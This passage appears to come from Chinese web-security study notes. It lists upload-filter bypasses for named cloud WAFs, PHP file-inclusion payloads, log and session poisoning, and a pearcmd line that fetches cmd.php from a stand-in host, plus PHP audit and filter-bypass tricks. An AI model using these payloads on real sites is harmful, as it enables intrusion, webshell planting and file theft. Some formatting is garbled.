<pre data-index="232" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>6.HTTP header 属性值绕过</p>
<pre data-index="233" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p>7.HTTP header 属性名称绕过</p>
<pre data-index="234" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>8.等效替换绕过</p>
<pre data-index="235" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>9.修改编码绕过</p>
<pre data-index="236" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">使用UTF-16、Unicode、双URL编码等等
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="WTSWAF__4366"></a>WTS-WAF 绕过上传</h5>
<pre data-index="237" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h5><a id="_4375"></a>百度云上传绕过</h5>
<pre data-index="238" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="_4382"></a>阿里云上传绕过</h5>
<pre data-index="239" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h5><a id="360_4392"></a>360主机上传绕过</h5>
<pre data-index="240" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h2><a name="t246"></a><a id="_4402"></a>文件包含</h2>
<h3><a name="t247"></a><a id="_4404"></a>基础</h3>
<h4><a name="t248"></a><a id="reuqire_4406"></a>reuqire():在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句</h4>
<h4><a name="t249"></a><a id="include__4408"></a>include() :如果出错的话,只会提出警告,会继续执行后续语句</h4>
<h4><a name="t250"></a><a id="require_once__include_once__require_once__include_once__4410"></a>require_once() / include_once() :如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题</h4>
<h4><a name="t251"></a><a id="php_4412"></a>利用这四个函数来包含文件时,不管文件是什么类型(图片、文本等),都会直接作为php文件进行解析</h4>
<h3><a name="t252"></a><a id="_4414"></a>本地文件包含</h3>
<h4><a name="t253"></a><a id="_4416"></a>字典</h4>
<pre data-index="241" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">php<span class="token punctuation">:</span><span class="token comment">//filter/convert.base64-encode/resource=login.php(过滤了操作名read)</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)</span>
data<span class="token punctuation">:</span>text<span class="token operator">/</span>plain<span class="token punctuation">,</span><span class="token operator"><</span><span class="token operator">?</span>php <span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">?</span><span class="token operator">></span>
data<span class="token punctuation">:</span>text<span class="token operator">/</span>plain<span class="token punctuation">;</span>base64<span class="token punctuation">,</span>PD9waHAgcGhwaW5mbygpPz4<span class="token operator">=</span>
phar<span class="token punctuation">:</span><span class="token comment">//test.zip/phpinfo.txt</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/string.rot13/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/string.toupper/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/string.tolower/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/convert.quoted-printable-encode/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//filter/zlib.deflate|zlib.inflate/resource=flag.php</span>
php<span class="token punctuation">:</span><span class="token comment">//input & POST: `<? phpinfo();?>`</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre>
<h4><a name="t254"></a><a id="phpinputfilephpinput___POST___phpinfo_4437"></a>php://input:?file=php://input & POST: <code><? phpinfo();?></code></h4>
<h4><a name="t255"></a><a id="phpfilterindexphpfilephpfilterreadconvertbase64encoderesourceflagphpread_4439"></a>php://filter:index.php?file=php://filter/read=convert.base64-encode/resource=flag.php(read=可省略)</h4>
<h4><a name="t256"></a><a id="pharindexphpfilephartestzipphpinfotxtphp530_4441"></a>phar://:index.php?file=phar://test.zip/phpinfo.txt(php>=5.3.0)</h4>
<h4><a name="t257"></a><a id="zipindexphpfilezipDphpStudyWWWfileincludetestzip23phpinfotxtphp53023_4443"></a>zip://:index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt(php>=5.3.0,%23为#,只能用绝对路径)</h4>
<h4><a name="t258"></a><a id="dataURI_schema_4445"></a>data:URI schema</h4>
<h5><a id="indexphpfiledatatextplainphp_phpinfo_4447"></a>index.php?file=data:text/plain,<code><?php phpinfo();?></code></h5>
<h5><a id="indexphpfiledatatextplainbase64PD9waHAgcGhwaW5mbygpOz82b_4449"></a>index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</h5>
<h4><a name="t259"></a><a id="session_4451"></a>包含session</h4>
<p>常见存放位置:</p>
<ol><li>/var/lib/php/sess_PHPSESSID</li><li>/var/lib/php/sess_PHPSESSID</li><li>/tmp/sess_PHPSESSID</li><li>/tmp/sessions/sess_PHPSESSID</li></ol>
<p>要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。</p>
<h5><a id="SESSION_UPLOAD_PROGRESS_4462"></a>利用SESSION_UPLOAD_PROGRESS</h5>
<p>// TODO</p>
<h3><a name="t260"></a><a id="_4466"></a>远程文件包含</h3>
<h4><a name="t261"></a><a id="includephpfilehttpxxxcom1txt_4468"></a>利用方式:include.php?file=http://xxx.com/1.txt</h4>
<h3><a name="t262"></a><a id="_4470"></a>特殊方式</h3>
<h4><a name="t263"></a><a id="_4472"></a>包含日志文件</h4>
<p>利用条件: 需要知道服务器日志的存储路径,且日志文件可读。</p>
<p>用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。某些场景中,log的地址是被修改掉的,可以通过读取相应的配置文件后,再进行包含。</p>
<h4><a name="t264"></a><a id="SSH_log_4478"></a>SSH log</h4>
<p>shell连接ssh <code>sh '<?php phpinfo(); ?>'@host</code>,密码随便输,之后包含host的ssh-log即可</p>
<h4><a name="t265"></a><a id="environ_4482"></a>包含environ</h4>
<blockquote>
<p>利用条件:php以cgi方式运行,这样environ才会保持UA头;environ文件存储位置已知,且environ文件可读。</p>
</blockquote>
<p>/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。</p>
<h4><a name="t266"></a><a id="fd_4488"></a>包含fd</h4>
<p><a href="https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method" rel="nofollow">LFI Cheat Sheet (highon.coffee)</a></p>
<h4><a name="t267"></a><a id="_4492"></a>包含临时文件</h4>
<p>php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。</p>
<p>由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。</p>
<h4><a name="t268"></a><a id="load_data_infile_4498"></a>load data infile</h4>
<p>??<a href="https://www.anquanke.com/post/id/173039" rel="nofollow">从一道ctf题学习mysql任意文件读取漏洞-安全客 - 安全资讯平台 (anquanke.com)</a></p>
<h3><a name="t269"></a><a id="_4502"></a>路径获取</h3>
<h4><a name="t270"></a><a id="_4504"></a>直接获得:通过返回包获取/右键查看地址</h4>
<h4><a name="t271"></a><a id="_4506"></a>查看源代码或者本地搭建</h4>
<h4><a name="t272"></a><a id="_4508"></a>根据经验猜测</h4>
<h5><a id="imgimagesuploaduploadsfile_4510"></a>通用的路径:/img、/images、/upload、/uploads、/file</h5>
<h4><a name="t273"></a><a id="_4512"></a>分析网站结构</h4>
<h5><a id="_4514"></a>爬虫</h5>
<h5><a id="_4516"></a>分析网站命名方式</h5>
<h4><a name="t274"></a><a id="_4518"></a>上传文件保存在另外服务器上</h4>
<h3><a name="t275"></a><a id="_4520"></a>绕过</h3>
<h4><a name="t276"></a><a id="_4522"></a>目录遍历:…/</h4>
<h5><a id="_4524"></a>编码绕过</h5>
<h6><a id="url2e2e2f__2f__2e2e_4526"></a>利用url编码:%2e%2e%2f = …%2f = %2e%2e/</h6>
<h6><a id="252e252e252f__252e252e255c_4528"></a>二次编码:%252e%252e%252f = %252e%252e%255c</h6>
<h6><a id="c0af_c0aec0ae_Tomcat_4530"></a>容器/服务器的编码方式:…%c0%af ;%c0%ae%c0%ae/ (Tomcat)</h6>
<h4><a name="t277"></a><a id="_4532"></a>指定后缀</h4>
<h5><a id="__23_4534"></a>? / #(%23)</h5>
<h5><a id="_4536"></a>长度截断:重复./</h5>
<p>利用条件: php < 5.2.8</p>
<p>目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复<code>./</code></p>
<h5><a id="0filephpinfotxt00_4542"></a>0字节截断:?file=phpinfo.txt%00</h5>
<p>利用条件: php < 5.3.4</p>
<h4><a name="t278"></a><a id="_4546"></a>特殊姿势</h4>
<h5><a id="include_urlencode__4548"></a>利用<code>include</code>函数解 urlencode 的特性来编码绕过</h5>
<h5><a id="pearcmdincludeusrlocallibphppearcmdphpinstallhttpyourhostcmdphp_4550"></a>包含pearcmd装马:/?include=/usr/local/lib/php/pearcmd.php&+install+http://yourhost/cmd.php</h5>
<p>在phpinfo中如果看到<code>register_argc_argv</code>开放,可以获取外部的参数,以<code>+</code>作为分隔符</p>
<h5><a id="CTF__LAmore_gemlovecomhttpswwwgemlovecom20220626undefined_4554"></a>其他姿势请参考:<a href="https://www.gem-love.com/2022/06/26/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E5%87%A0%E7%A7%8D%E4%B8%8D%E5%B8%B8%E8%A7%84%E5%88%A9%E7%94%A8%E5%A7%BF%E5%8A%BF/#undefined" rel="nofollow">CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)</a></h5>
<h2><a name="t279"></a><a id="_4556"></a>反序列化</h2>
<h3><a name="t280"></a><a id="PHP_4558"></a>PHP</h3>
<h3><a name="t281"></a><a id="Java_4562"></a>Java</h3>
<h3><a name="t282"></a><a id="_4566"></a>框架</h3>
<h3><a name="t283"></a><a id="Python_4570"></a>Python</h3>
<h3><a name="t284"></a><a id="_4572"></a>其他</h3>
<h2><a name="t285"></a><a id="_4574"></a>其他</h2>
<h3><a name="t286"></a><a id="Clickjacking_4576"></a>Clickjacking(点击劫持)</h3>
<h3><a name="t287"></a><a id="HEREDOC_4578"></a>HEREDOC</h3>
<h3><a name="t288"></a><a id="JSPFUCK_4580"></a>JSPFUCK</h3>
<h3><a name="t289"></a><a id="Web_Assembly_4582"></a>Web Assembly</h3>
<h3><a name="t290"></a><a id="_4584"></a>整数溢出</h3>
<h3><a name="t291"></a><a id="Hash_4586"></a>Hash长度拓展攻击</h3>
<h2><a name="t292"></a><a id="PHP_4588"></a>代码审计(PHP)</h2>
<h3><a name="t293"></a><a id="XSS_4590"></a>XSS</h3>
<h4><a name="t294"></a><a id="print_4592"></a>print()</h4>
<h4><a name="t295"></a><a id="printr_4594"></a>printr()</h4>
<h4><a name="t296"></a><a id="echo_4596"></a>echo</h4>
<h4><a name="t297"></a><a id="printf_4598"></a>printf()</h4>
<h4><a name="t298"></a><a id="sprintf_4600"></a>sprintf()</h4>
<h4><a name="t299"></a><a id="die_4602"></a>die()</h4>
<h4><a name="t300"></a><a id="var_dump_4604"></a>var_dump()</h4>
<h4><a name="t301"></a><a id="var_export_4606"></a>var_export()</h4>
<h3><a name="t302"></a><a id="_4608"></a>代码执行</h3>
<h4><a name="t303"></a><a id="_4610"></a>函数</h4>
<ul><li>eval()</li><li>assert()</li><li>preg_repace()</li><li>create_function()</li><li>array_map()</li><li>call_user_func()</li><li>call_user_func_array()</li><li>array_filter()</li><li>usort()</li><li>uasort()</li></ul>
<h4><a name="t304"></a><a id="bypass_4623"></a>过滤与bypass</h4>
<ul><li> <p>利用各种函数的返回值进行拼接</p> </li><li> <p>利用^符号异或出想要的东西</p> </li><li> <p>利用等价表达式</p>
<ul><li> <p>_</p>
<ul><li>空格</li><li>.</li></ul> </li></ul> </li></ul>
<h3><a name="t305"></a><a id="_4634"></a>文件包含</h3>
<h4><a name="t306"></a><a id="include_4636"></a>include()</h4>
<h4><a name="t307"></a><a id="include_once_4638"></a>include_once()</h4>
<h4><a name="t308"></a><a id="require_4640"></a>require()</h4>
<h4><a name="t309"></a><a id="require_once_4642"></a>require_once()</h4>
<h3><a name="t310"></a><a id="_4644"></a>文件读取(下载)</h3>
<h4><a name="t311"></a><a id="file_get_contents_4646"></a>file_get_contents()</h4>
<h4><a name="t312"></a><a id="highlight_file_4648"></a>highlight_file()</h4>
<h4><a name="t313"></a><a id="fopen_4650"></a>fopen()</h4>
<h4><a name="t314"></a><a id="readfile_4652"></a>readfile()</h4>
<h4><a name="t315"></a><a id="fread_4654"></a>fread()</h4>
<h4><a name="t316"></a><a id="fgetss_4656"></a>fgetss()</h4>
<h4><a name="t317"></a><a id="fgets_4658"></a>fgets()</h4>
<h4><a name="t318"></a><a id="parse_ini_file_4660"></a>parse_ini_file()</h4>
<h4><a name="t319"></a><a id="show_source_4662"></a>show_source()</h4>
<h4><a name="t320"></a><a id="file_4664"></a>file()</h4>
<h4><a name="t321"></a><a id="sort_4666"></a>sort()比较鸡肋</h4>
<h3><a name="t322"></a><a id="_4668"></a>命令执行</h3>
<h4><a name="t323"></a><a id="_4670"></a>相关函数</h4>
<ul><li> <p>system()</p> </li><li> <p>exec()</p> </li><li> <p>shell_exec()(反引号也可以)</p> </li><li> <p>passthru()</p> </li><li> <p>pcntl_exec()</p> </li><li> <p>popen()</p> </li><li> <p>proc_open()</p> </li><li> <p>create_function()</p> <p>这个是逃逸后可以命令执行</p> </li></ul>
<h4><a name="t324"></a><a id="bypass_4690"></a>过滤与bypass</h4>
<ul><li> <p>disable_function</p>
<ul><li>ld_preload</li><li>php_gc</li></ul> </li><li> <p>限制命令长度</p> </li><li> <p>限制回显长度</p> </li><li> <p>过滤字符</p>
<ul><li> <p>空格</p> <p>bash环境</p>
<ul><li><</li><li>${IFS}</li><li>$IFS$9</li><li>%09</li></ul> </li><li> <p>某些函数名</p> </li><li> <p>截断符号</p>
<ul><li> <p>fuzz得出没被过滤的</p> </li><li> <p>利用base编码绕过</p> </li><li> <p>用两个单引号</p> <p>比如命令 cat /etc/passwd</p> <p>等价于 cat /etc/pass’w’d</p> </li></ul> </li></ul> </li></ul>
<h3><a name="t325"></a><a id="_4726"></a>文件上传</h3>
<h4><a name="t326"></a><a id="move_uploaded_file_4728"></a>move_uploaded_file()</h4>
<h3><a name="t327"></a><a id="_4730"></a>文件删除</h3>
<h4><a name="t328"></a><a id="unlink_4732"></a>unlink()</h4>
<h4><a name="t329"></a><a id="session_destroy_4734"></a>session_destroy()(老版本)</h4>
<h3><a name="t330"></a><a id="_4736"></a>变量覆盖</h3>
<h4><a name="t331"></a><a id="extract_4738"></a>extract()</h4>
<h4><a name="t332"></a><a id="parse_str_4740"></a>parse_str</h4>
<ul><li>无第二个参数会引起变量覆盖</li></ul>
<h4><a name="t333"></a><a id="import_request_variables_4744"></a>import_request_variables()</h4>
<h4><a name="t334"></a><a id="for_each_GET_as_keyvalue_keyvalue_4746"></a>for each($_GET as <span class="katex--inline"><span class="katex"><span class="katex-mathml">
k
e
y
=
>
key=>
</span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span class="mord mathnormal" style="margin-right: 0.0315em;">k</span><span class="mord mathnormal" style="margin-right: 0.0359em;">ey</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=></span></span></span></span></span>value) <span class="katex--inline">KaTeX parse error: Expected '}', got 'EOF' at end of input: {<!-- --></span>key}=$value</h4>
<h4><a name="t335"></a><a id="register_globals_4748"></a>register_globals</h4>
<h3><a name="t336"></a><a id="_4750"></a>弱类型比较</h3>
<h4><a name="t337"></a><a id="_4752"></a><mark>、</mark>=、!==、!=</h4>
<ul><li>md5,sha1的==绕过</li></ul>
<h4><a name="t338"></a><a id="is_numeric_4756"></a>is_numeric</h4>
<ul><li>16进制编码绕过</li><li>%00放在数字开头或者结尾,%20放在开头都能使函数返回false</li></ul>
<h4><a name="t339"></a><a id="in_array_4761"></a>in_array</h4>
<h4><a name="t340"></a><a id="md5_4763"></a>弱不相等却md5值相等的情况</h4>
<p>只需要利用NaN(float)和’NaN’(string)即可(INF等同理)</p>
<h3><a name="t341"></a><a id="PHP_4767"></a>PHP黑魔法</h3>
<h4><a name="t342"></a><a id="md5_4769"></a>md5</h4>
<ul><li> <p>绕过sql,md5(‘ffifdyop’,true)= 'or’6xxx</p> <p>当raw设置为true时输入 ffifdyop 可以对单引号进行闭合</p> <p>经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。这样的话就会和前面的形成闭合,构成万能密码;</p> </li><li> <p>弱类型绕过和强类型绕过</p> </li></ul>
<h4><a name="t343"></a><a id="eval_4780"></a>eval</h4>
<ul><li>可使用分号构造出多条语句</li></ul>
<h4><a name="t344"></a><a id="ereg_4784"></a>ereg</h4>
<ul><li>存在%00截断</li></ul>
<h4><a name="t345"></a><a id="strcmp_4788"></a>strcmp</h4>
<p>影响版本<br> PHP5.3 及以下</p>
<ul><li>无法处理数组并将return 0</li></ul>
<h4><a name="t346"></a><a id="ascii_4795"></a>ascii</h4>
<ul><li>传进去的是字符串只会截取第一个字符进行处理</li></ul>
<h4><a name="t347"></a><a id="curl_setopt_4799"></a>curl_setopt</h4>
<ul><li>存在可能的SSRF</li></ul>
<h4><a name="t348"></a><a id="preg_replace_4803"></a>preg_replace</h4>
<ul><li>第二个参数使用 /e模式导致代码执行</li></ul>
<h4><a name="t349"></a><a id="urldecode_4807"></a>urldecode</h4>
<ul><li>url二次编码绕过</li></ul>
<h4><a name="t350"></a><a id="include_4811"></a>include</h4>
<p>include函数有这么一个神奇的功能:若以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。(存疑)</p>
<h4><a name="t351"></a><a id="__wakeup_4815"></a>__wakeup</h4>
<p>(CVE-2016-7124)</p>
<p>影响版本:<br> · PHP before 5.6.25<br> · 7.x before 7.0.10</p>
<ul><li>反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行</li></ul>
<h4><a name="t352"></a><a id="open_basedir_4825"></a>open_basedir</h4>
<p>PHP5.x</p>
<ul><li>可绕过并进行任意文件读取(两种方法)</li></ul>
<h4><a name="t353"></a><a id="in_array_4831"></a>in_array()</h4>
<ul><li>第三个参数如果设置为FALSE,就存在注入点</li></ul>
<h4><a name="t354"></a><a id="spl_autoload_register_4835"></a>spl_autoload_register</h4>
<ul><li>配合文件上传可以getshell</li></ul>
<h4><a name="t355"></a><a id="create_function_4839"></a>create_function()</h4>
<ul><li>代码注入</li></ul>
<h4><a name="t356"></a><a id="file_get_contents_4843"></a>file_get_contents</h4>
<ul><li>经常用伪协议绕过</li></ul>
<h4><a name="t357"></a><a id="mt_rand_4847"></a>mt_rand</h4>
<ul><li>SEED相关的安全性问题</li></ul>
<h4><a name="t358"></a><a id="sprintf_4851"></a>sprintf</h4>
<ul><li>格式化字符串漏洞</li></ul>
<h4><a name="t359"></a><a id="parse_url_4855"></a>parse_url</h4>
<ul><li>可用于绕过某些过滤</li></ul>
<h4><a name="t360"></a><a id="preg_match_4859"></a>preg_match</h4>
<ol><li></li></ol>
<p>可绕过进行代码执行,见P神的文章</p>
<ol start="2"><li></li></ol>
<p>通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。</p>
<ol start="3"><li></li></ol>
<p>回溯次数上限pcre.backtrack_limit相关的安全问题</p>
<ol start="4"><li></li></ol>
<p>%0A,%0D 参数污染相关问题</p>
<h4><a name="t361"></a><a id="intval_4873"></a>intval</h4>
<ul><li>类型转换上限</li></ul>
<h4><a name="t362"></a><a id="Session_4877"></a>Session绕过</h4>
<p>删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。</p>
<h4><a name="t363"></a><a id="file_put_contents_4881"></a>file_put_contents</h4>
<p>第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。</p>
<h4><a name="t364"></a><a id="json_encodedecode_4885"></a>json_encode/decode</h4>
<p>json_encode:将数组转换为json,只支持utf8格式的数据。json_encode 会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。</p>
<p>json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。</p>
<p>json_decode:可以当作mysql的分隔符: 空格 + \f \n \r \t \u0009 \u000A \u000B \u000C \u000D \u0020 \u002B</p>
<h4><a name="t365"></a><a id="NULL_4893"></a>几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过</h4>
<p>举例:<br> md5,sha1,strpos</p>
<ul><li>ereg</li><li>MD5</li><li>sha1</li><li>strpos</li><li>strcmp</li></ul>
<h4><a name="t366"></a><a id="exitreturn_4904"></a>未exit(),return()引发的相关问题</h4>
<h4><a name="t367"></a><a id="_4906"></a>伪静态绕过</h4>
<h3><a name="t368"></a><a id="_4908"></a>变量特性</h3>
<h4><a name="t369"></a><a id="ignore_user_abort_4910"></a>ignore_user_abort</h4>
<ul><li>并发漏洞</li></ul>
<h4><a name="t370"></a><a id="_SERVERQUERY_STRING_4914"></a>$_SERVER[‘QUERY_STRING’]</h4>
<ul><li>不会像$_GET一样进行urldecode</li></ul>
<h4><a name="t371"></a><a id="disable_functions_4918"></a>disable_functions</h4>
<ul><li>有七种做法进行绕过</li><li>可以试试蚁剑的插件</li></ul>
<h3><a name="t372"></a><a id="_4925"></a>反序列化漏洞</h3>
<h4><a name="t373"></a><a id="_4927"></a>对各种魔法函数的理解</h4>
<ul><li>__wakeup() //使用unserialize时触发</li><li>__sleep() //使用serialize时触发</li><li>__destruct() //对象被销毁时触发</li><li>__construct()//对象创建时自动调用</li><li>__call() //在对象上下文中调用不可访问的方法时触发</li><li>__callStatic() //在静态上下文中调用不可访问的方法时触发</li><li>__get() //用于从不可访问的属性读取数据</li><li>__set() //用于将数据写入不可访问的属性</li><li>__isset() //在不可访问的属性上调用isset()或empty()触发</li><li>__unset() //在不可访问的属性上使用unset()时触发</li><li>__toString() //把类当作字符串使用时触发</li><li>__invoke() //当脚本尝试将对象调用为函数时触发</li></ul>
<h4><a name="t374"></a><a id="pop_4942"></a>pop链的构造</h4>
<ul><li> <p>寻找位点</p> </li><li> <p>正向构造</p> <p>切入点——__wakeup()——其他</p> </li><li> <p>反向推理</p> <p>从flag开始推起</p> </li></ul>
<h4><a name="t375"></a><a id="phar_4954"></a>phar与反序列化</h4>
<h4><a name="t376"></a><a id="_4956"></a>由于替换引起的反序列化字符串逃逸</h4>
<h4><a name="t377"></a><a id="_4958"></a>绕过正则</h4>
<p>if (preg_match(‘/[oc]:\d+:/i’, ‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则</p>
<h3><a name="t378"></a><a id="_4962"></a>逻辑漏洞</h3>
<h4><a name="t379"></a><a id="_4964"></a>用户名和密码分开验证</h4>
<h4><a name="t380"></a><a id="_4966"></a>下单和扣款的先后顺序</h4>
<h3><a name="t381"></a><a id="_4968"></a>技巧相关</h3>
<h4><a name="t382"></a><a id="_4970"></a>小型代码</h4>
